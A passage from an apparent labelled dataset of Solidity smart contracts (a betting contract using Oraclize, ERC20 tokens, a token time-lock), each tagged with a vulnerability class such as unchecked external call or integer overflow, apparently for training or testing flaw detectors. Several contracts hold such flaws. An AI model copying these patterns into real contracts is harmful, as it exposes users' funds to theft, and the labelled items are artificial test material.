(Ledger Proof version 1) if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // contract ETHcomeback820 is usingOraclize { /* Declaration */ address public OWNERS = 0xC3eD2d481B9d75835EC04174b019A7eAF2Faf78A; uint public constant COMMISSION = 0; // Commission for the owner uint public constant MIN_BET = 0.03 ether; uint public EXPECTED_START = 1534316340; // When the bet's event is expected to start uint public EXPECTED_END = 1534748340; // When the bet's event is expected to end uint public constant BETTING_OPENS = 1534190573; uint public BETTING_CLOSES = EXPECTED_START - 60; // Betting closes a minute before the bet event starts uint public constant PING_ORACLE_INTERVAL = 60 * 60 * 24; // Ping oracle every 24 hours until completion (or cancelation) uint public ORACLIZE_GAS = 200000; uint public CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24; // Cancelation date is 24 hours after the expected end uint public RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30; // Any leftover money is returned to owners 1 month after bet ends bool public completed; bool public canceled; bool public ownersPayed; uint public ownerPayout; bool public returnedToOwners; uint public winnerDeterminedDate; uint public numCollected = 0; bytes32 public nextScheduledQuery; uint public oraclizeFees; uint public collectionFees; struct Better { uint betAmount; uint betOption; bool withdrawn; } mapping(address => Better) betterInfo; address[] public betters; uint[2] public totalAmountsBet; uint[2] public numberOfBets; uint public totalBetAmount; uint public winningOption = 2; /* Events */ event BetMade(); /* Modifiers */ // Modifier to only allow the // determination of the winner modifier canDetermineWinner() { require (winningOption == 2 && !completed && !canceled && now > BETTING_CLOSES && now >= EXPECTED_END); _; } // Modifier to only allow emptying // the remaining value of the contract // to owners. modifier canEmptyRemainings() { require(canceled || completed); uint numRequiredToCollect = canceled ? (numberOfBets[0] + numberOfBets[1]) : numberOfBets[winningOption]; require ((now >= RETURN_DATE && !canceled) || (numCollected == numRequiredToCollect)); _; } // Modifier to only allow the collection // of bet payouts when winner is determined, // (or withdrawals if the bet is canceled) modifier collectionsEnabled() { require (canceled || (winningOption != 2 && completed && now > BETTING_CLOSES)); _; } // Modifier to only allow the execution of // owner payout when winner is determined modifier canPayOwners() { require (!canceled && winningOption != 2 && completed && !ownersPayed && now > BETTING_CLOSES); _; } // Modifier to only allow the execution of // certain functions when betting is closed modifier bettingIsClosed() { require (now >= BETTING_CLOSES); _; } // Modifier to only allow the execution of // certain functions restricted to the owners modifier onlyOwnerLevel() { require( OWNERS == msg.sender ); _; } /* Functions */ // Constructor function ETHcomeback820() public payable { callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for outcome } function changeGasLimitAndPrice(uint gas, uint price) public onlyOwnerLevel { ORACLIZE_GAS = gas; oraclize_setCustomGasPrice(price); } // Change bet expected times function setExpectedTimes(uint _EXPECTED_START, uint _EXPECTED_END) public onlyOwnerLevel { setExpectedStart(_EXPECTED_START); setExpectedEnd(_EXPECTED_END); } // Change bet expected start time function setExpectedStart(uint _EXPECTED_START) public onlyOwnerLevel { EXPECTED_START = _EXPECTED_START; BETTING_CLOSES = EXPECTED_START - 60; } // Change bet expected end time function setExpectedEnd(uint _EXPECTED_END) payable public onlyOwnerLevel { require(_EXPECTED_END > EXPECTED_START); EXPECTED_END = _EXPECTED_END; CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24; RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30; callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for winner } function callOracle(uint timeOrDelay, uint gas) private { require(canceled != true && completed != true); // Make a call to the oracle — // usually a script hosted on IPFS that // Oraclize deploys, after a given delay. We // leave nested query as default to maximize // optionality for queries. // To readers of the code (aka prospective betters) // if this is a computation query, you can view the // script we use to compute the winner, as it is hosted // on IPFS. The first argument in the computation query // is the IPFS hash (script would be located at // ipfs.io/ipfs/). The file hosted at this hash // is actually a zipped folder that contains a Dockerfile and // the script. So, if you download the file at the hash provided, // ensure to convert it to a .zip, unzip it, and read the code. // Oraclize uses the Dockerfile to deploy this script. // Look over the Oraclize documentation to verify this // for yourself. nextScheduledQuery = makeOraclizeQuery(timeOrDelay, ""nested"", ""[computation] ['QmVKMoJbU3iUjJR25wmGtmafsg31L38a6DBFyo4XFMG1kB', 'ethereum', '320']"", gas); } function makeOraclizeQuery(uint timeOrDelay, string datasource, string query, uint gas) private returns(bytes32) { oraclizeFees += oraclize_getPrice(datasource, gas); return oraclize_query(timeOrDelay, datasource, query, gas); } // Determine the outcome manually, // immediately function determineWinner(uint gas, uint gasPrice) payable public onlyOwnerLevel canDetermineWinner { ORACLIZE_GAS = gas; oraclize_setCustomGasPrice(gasPrice); callOracle(0, ORACLIZE_GAS); } // Callback from Oraclize function __callback(bytes32 queryId, string result, bytes proof) public canDetermineWinner { require(msg.sender == oraclize_cbAddress()); // The Oracle must always return // an integer (either 0 or 1, or if not then) // it should be 2 if (keccak256(result) != keccak256(""0"") && keccak256(result) != keccak256(""1"")) { // Reschedule winner determination, // unless we're past the point of // cancelation. If nextScheduledQuery is // not the current query, it means that // there's a scheduled future query, so // we can wait for that instead of scheduling // another one now (otherwise this would cause // dupe queries). if (now >= CANCELATION_DATE) { cancel(); } else if (nextScheduledQuery == queryId) { callOracle(PING_ORACLE_INTERVAL, ORACLIZE_GAS); } } else { setWinner(parseInt(result)); } } function setWinner(uint winner) private { completed = true; canceled = false; winningOption = winner; winnerDeterminedDate = now; payOwners(); } // Returns the total amounts betted // for the sender function getUserBet(address addr) public constant returns(uint[]) { uint[] memory bets = new uint[](2); bets[betterInfo[addr].betOption] = betterInfo[addr].betAmount; return bets; } // Returns whether a user has withdrawn // money or not. function userHasWithdrawn(address addr) public constant returns(bool) { return betterInfo[addr].withdrawn; } // Returns whether winning collections are // now available, or not. function collectionsAvailable() public constant returns(bool) { return (completed && winningOption != 2 && now >= (winnerDeterminedDate + 600)); // At least 10 mins has to pass between determining winner and enabling payout, so that we have time to revert the bet in case we detect suspicious betting activty (eg. a hacker bets a lot to steal the entire losing pot, and hacks the oracle) } // Returns true if we can bet (in betting window) function canBet() public constant returns(bool) { return (now >= BETTING_OPENS && now < BETTING_CLOSES && !canceled && !completed); } // Function for user to bet on launch // outcome function bet(uint option) public payable { require(canBet() == true); require(msg.value >= MIN_BET); require(betterInfo[msg.sender].betAmount == 0 || betterInfo[msg.sender].betOption == option); // Add better to better list if they // aren't already in it if (betterInfo[msg.sender].betAmount == 0) { betterInfo[msg.sender].betOption = option; numberOfBets[option]++; betters.push(msg.sender); } // Perform bet betterInfo[msg.sender].betAmount += msg.value; totalBetAmount += msg.value; totalAmountsBet[option] += msg.value; BetMade(); // Trigger event } // Empty remainder of the value in the // contract to the owners. function emptyRemainingsToOwners() private canEmptyRemainings { OWNERS.transfer(this.balance); returnedToOwners = true; } function returnToOwners() public onlyOwnerLevel canEmptyRemainings { emptyRemainingsToOwners(); } // Performs payout to owners function payOwners() private canPayOwners { if (COMMISSION == 0) { ownersPayed = true; ownerPayout = 0; if (numberOfBets[winningOption] > 0) { collectionFees = ((oraclizeFees != 0) ? (oraclizeFees / numberOfBets[winningOption] + 1) : 0); // We add 1 wei to act as a ceil for the integer div -- important because the contract cannot afford to lose that spare change, as it will gaurantee that the final payout collection will fail. } return; } // Calculate total pool of ETH // betted for the two outcomes. uint losingChunk = totalAmountsBet[1 - winningOption]; ownerPayout = (losingChunk - oraclizeFees) / COMMISSION; // Payout to the owner; commission of losing pot, minus the same % of the fees if (numberOfBets[winningOption] > 0) { collectionFees = ((oraclizeFees != 0) ? ((oraclizeFees - oraclizeFees / COMMISSION) / numberOfBets[winningOption] + 1) : 0); // The fees to be distributed to the collectors, after owner payout. See reasoning above for adding the 1 wei. } // Equal weight payout to the owners OWNERS.transfer(ownerPayout); ownersPayed = true; } function cancelBet() payable public onlyOwnerLevel { cancel(); } // Cancel bet and relase all the bets back to // the betters if, for any reason, payouts cannot be // completed. (For example Oracle fails.) Triggered by owners. function cancel() private { canceled = true; completed = false; } // Fallback function in case someone sends // ether to the contract so it doesn't get // lost. Could be used by us owners as buffer // value in case payouts fail. function() payable public { } // Function that lets betters collect their // money, either if the bet was canceled, // or if they won. function collect() public collectionsEnabled { address better = msg.sender; require(betterInfo[better].betAmount > 0); require(!betterInfo[better].withdrawn); require(canceled != completed); require(canceled || (completed && betterInfo[better].betOption == winningOption)); require(now >= (winnerDeterminedDate + 600)); uint payout = 0; if (!canceled) { // On top of their original bet, // add in profit, which is a weighted // proportion of the losing pot, relative // to their contribution to the winning pot, // minus owner commission. uint losingChunk = totalAmountsBet[1 - winningOption]; payout = betterInfo[better].betAmount + (betterInfo[better].betAmount * (losingChunk - ownerPayout) / totalAmountsBet[winningOption]) - collectionFees; } else { payout = betterInfo[better].betAmount; } if (payout > 0) { better.transfer(payout); betterInfo[better].withdrawn = true; numCollected++; } } }",./Dataset/ether strict equality (SE),3,3 43998.sol,"pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import ""../exchange/SaverExchangeCore.sol""; contract ExchangeDataParser { function decodeExchangeData( SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (address[4] memory, uint[4] memory, bytes memory) { return ( [exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper], [exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x], exchangeData.callData ); } function encodeExchangeData( address[4] memory exAddr, uint[4] memory exNum, bytes memory callData ) internal pure returns (SaverExchangeCore.ExchangeData memory) { return SaverExchangeCore.ExchangeData({ srcAddr: exAddr[0], destAddr: exAddr[1], srcAmount: exNum[0], destAmount: exNum[1], minPrice: exNum[2], wrapper: exAddr[3], exchangeAddr: exAddr[2], callData: callData, price0x: exNum[3] }); } } ",./Dataset/unchecked external call (UC),7,7 1131.sol,"pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function totalSupply()public view returns (uint total_Supply); function balanceOf(address _owner)public view returns (uint256 balance); function allowance(address _owner, address _spender)public view returns (uint remaining); function transferFrom(address _from, address _to, uint _amount)public returns (bool ok); function approve(address _spender, uint _amount)public returns (bool ok); function transfer(address _to, uint _amount)public returns (bool ok); event Transfer(address indexed _from, address indexed _to, uint _amount); event Approval(address indexed _owner, address indexed _spender, uint _amount); } contract WorldIntestinalFloraCoin is ERC20 { using SafeMath for uint256; string public constant symbol = ""WIFC""; string public constant name = ""WorldIntestinalFloraCoin""; uint public constant decimals = 18; uint256 _totalSupply = 100000000000 * 10 ** 18; address public owner; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; modifier onlyOwner() { require (msg.sender == owner); _; } constructor() public { owner = msg.sender; balances[owner] = _totalSupply; emit Transfer(0, owner, _totalSupply); } function totalSupply() public view returns (uint256 total_Supply) { total_Supply = _totalSupply; } function balanceOf(address _owner)public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _amount)public returns (bool ok) { require( _to != 0x0); require(balances[msg.sender] >= _amount && _amount >= 0); balances[msg.sender] = (balances[msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom( address _from, address _to, uint256 _amount )public returns (bool ok) { require( _to != 0x0); require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0); balances[_from] = (balances[_from]).sub(_amount); allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount)public returns (bool ok) { require( _spender != 0x0); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender)public view returns (uint256 remaining) { require( _owner != 0x0 && _spender !=0x0); return allowed[_owner][_spender]; } function transferOwnership(address newOwner) external onlyOwner { require( newOwner != 0x0); balances[newOwner] = (balances[newOwner]).add(balances[owner]); balances[owner] = 0; owner = newOwner; emit Transfer(msg.sender, newOwner, balances[newOwner]); } }",./Dataset/integer overflow (OF)/,4,4 35721.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 500000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 500000000000; // Update total supply (100000 for example) name = ""The Boys""; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = ""DDTB""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x051386c139a4b5d1893e050be8f3c32dfaa109d8_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27302400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x870F1E7380c9e2FCE92D691dbA5ED037C3602493; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 40406.sol,"// /* Copyright (c) 2015-2016 Oraclize srl, Thomas Bertani Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { address oraclizeAddr = OAR.getAddress(); if (oraclizeAddr == 0){ oraclize_setNetwork(networkID_auto); oraclizeAddr = OAR.getAddress(); } oraclize = OraclizeI(oraclizeAddr); _ } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _ } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); return true; } if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < 